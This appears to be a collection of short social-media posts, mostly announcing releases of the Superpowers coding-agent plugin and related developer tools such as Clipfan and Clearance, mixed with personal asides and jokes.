I built a free tool to keep your clipboard in sync between your macs and your coding agents running in tmux on remote servers. It's called Clipfan. blog.fsck.com/2026/07/03/c...

We're building something really cool for teams using Superpowers inside large orgs. If that's you, I'd love to chat. DM me or drop me a line at jesse@primeradiant.com

I'm pleased to announce Superpowers 6.0. In addition to support for Pi, Antigravity and Kimi Code and a bunch of other improvements, this release builds your projects faser and is *dramatically* more token-efficient. It's available on GitHub now. primeradiant.com/blog/2026/su...

Love Superpowers? Want it to work even better for everybody? We're hiring somebody to help with community and GitHub and stuff: primeradiant.com/jobs/superpo...

This afternoon, I pulled some data from backups of my .claude directory to build a visualization of Claude Code plugin installs over time. You can explore the data at primeradiant.com/claude-plugi...

@rstevens.bsky.social I presume you know the store is down?

Honestly, one of the funniest tweets I've ever seen.

My MacBook Pro's escape key had gotten sticky and unreliable. I successfully removed the keycap, cleaned the cavity and scissor mechanism, AND reassembled the key without breaking anything. The key even works right again. Please clap.

@buttplug.engineer seems relevant to your interests, although I assume this is...fanfic.

So here's the pitch: It's Eternal September, but for Patch Tuesday.

On the upside, tons of embedded devices just got liberated?

We just published a couple of the projects I've been working on this spring. primeradiant.com/blog/2026/gr... Greenfield is a set of tools to extract behavioral specs from existing codebases. Iterative Development is a set of add-ons to Superpowers to tackle implementations of much larger specs.

Had a great chat with @miyagawa.co last night. It had been ages since we last caught up properly.

For anyone using Claude Code, I cannot recommend the Superpowers plugin by @s.ly enough. I've been raving about it to enough people that I just wrote up my thoughts as a quick blog post emschwartz.me/a-rave-revie...

I kinda want to try it in the office on an OLED but I'm not sure it'd be any better than my laptop screen. Fun though. www.keithcirkel.co.uk/whats-my-jnd/

Superpowers 5.0.2 is out now - It should fix Codex's use of subagents and it replaces the Brainstorming server with a zero-deps node script, rather than bundling a bunch of node modules. blog.fsck.com/releases/202...

Superpowers 5.0.1 is out now. Claude wrote up the details: blog.fsck.com/releases/202... The headline item is (finally) full Gemini CLI support. Also, a bunch of improvements and bug fixes.

Superpowers 5 is out today: blog.fsck.com/2026/03/09/s... There are a bunch of improvements inside, but my favorite new feature is the new 'visual brainstorming' workflow that uses your browser to help talk through anything where ASCII art might not be high enough fidelity.

I plopped down $20 for Claude Code and installed the Superpowers plugin from my old friend @s.ly. I fed it the PDF with the MIDI spec and told it what I wanted. Superpowers asked me a few questions about implementation and it wrote a product spec.

I'm spending a ton of time making software these days, but I'm never working with source code. It seems like my entire workflow is Markdown files. I'm pleased to debut Clearance, Prime Radiant's new dedicated "Markdown browser."
